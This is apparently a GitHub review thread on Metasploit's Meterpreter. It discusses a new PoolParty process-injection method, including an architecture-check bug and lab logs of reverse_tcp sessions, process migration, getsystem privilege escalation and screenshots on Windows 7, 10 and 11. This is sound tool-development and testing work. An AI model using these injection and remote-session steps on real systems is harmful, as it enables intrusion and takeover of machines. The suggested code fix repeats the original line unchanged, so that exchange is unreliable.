if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))

Which looks wrong to me? The second part of that condition is an OR between identical statements? It would only pass on migrating from syswow meterpreters to x64 processes?

I'm guessing there's a bit of a typo, and it should be

if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))

That seems like it would support both x64->x64 and wow64->x64 as expected?

Good catch, looks like I added some bugs during my cleanup. at least the fall back to CreateRemoteThread is still working 🎉

bwatters-r7 commented 1 month ago

Yup.... great!

msf6 payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN10_21H1_540C
OS              : Windows 10 (10.0 Build 19043).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN10_21H1_540C\msfuser
meterpreter > migrate 3232
[*] Migrating from 6908 to 3232...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Migration completed successfully.
meterpreter > 
[0c44] [MIGRATE] Attempting to migrate. ProcessID=3232, Arch=x64
[0c44] [MIGRATE] Attempting to migrate. PayloadLength=284160 StubLength=317
[0c44] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0c44] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0c44] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0c44] [MIGRATE] Got SeDebugPrivilege!
[0c44] [MIGRATE] creating the configuration block
[0c44] [CONFIG] preparing the configuration
[0c44] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0c44] [CONFIG] Comms handle set to 00000000000000B8
[0c44] [CONFIG] Total of 1614 bytes located at 0x0000000000578100
[0c44] [MIGRATE] Config of 1614 bytes stashed at 0x0000000000578100
[0c44] [MIGRATE] Duplicated Event Handle: 0x324
[0c44] [MIGRATE] Migrate stub: 0x000001FA495A0000 -> 317 bytes
[0c44] [MIGRATE] Migrate context: 0x000001FA495A013D -> 388 bytes
[0c44] [MIGRATE] Migrate payload: 0x000001FA495A02C1 -> 284160 bytes
[0c44] [MIGRATE] Configuration: 0x000001FA495E58C1 -> 1614 bytes
[0c44] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0c44] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0c44] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0c44] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FF9C734D030 NtQueryObject: 00007FF9C734CF10
[0c44] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FF9C7350120
[0c44] [INJECT][inject_via_poolparty] using: poolparty_stub_x64
[0c44] [INJECT][inject_via_poolparty] ctx [000001FA49460112] lpStartAddress: 000001FA495A0000 lpParameter 000001FA495A013D hTriggerEvent 0000000000000330
[0c44] [INJECT][inject_via_poolparty] Attempting injection with variant POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: 0000000000595610
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : 00000000C0000004
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc lpProcessInfo: 0000000000595610
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : 0000000000000000
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: 0000000000595610 dwInformationSizeIn: 9656
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: 0000000000597BE0
[0c44] [INJECT][inject_via_poolparty][get_remote_handle] hHijackHandle: 00000000000002EC
[0c44] [INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: 0
[0c44] [INJECT] inject_via_poolparty: injected!
[0c44] [INJECT] inject_via_poolparty: Sending a migrate response...
bwatters-r7 commented 3 weeks ago

For testing, I have used meterpreters with logging turned on both migrating and using the screenshot function. Both use poolparty if possible and the logging will show if that's the way it gained thread access.

Screenshot on Windows 11 23h2 x64:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used

[*] Sending stage (285774 bytes) to 10.5.132.127
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.127:50074) at 2024-10-29 15:33:04 -0500

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN11_23H2_8EA9
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN11_23H2_8EA9\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > screenshot
Screenshot saved to: /home/tmoose/rapid7/metasploit-framework/YuLZRCUy.jpeg
meterpreter > 

Log: image

bwatters-r7 commented 3 weeks ago

Windows 7 falls back seamlessly:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used

[*] Sending stage (285774 bytes) to 10.5.132.161
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Meterpreter session 4 opened (10.5.135.201:4585 -> 10.5.132.161:49165) at 2024-10-29 16:41:06 -0500

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer        : WIN7X64-SP1
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > screenshot
Screenshot saved to: /home/tmoose/rapid7/metasploit-framework/IvoxODfI.jpeg
meterpreter > 

image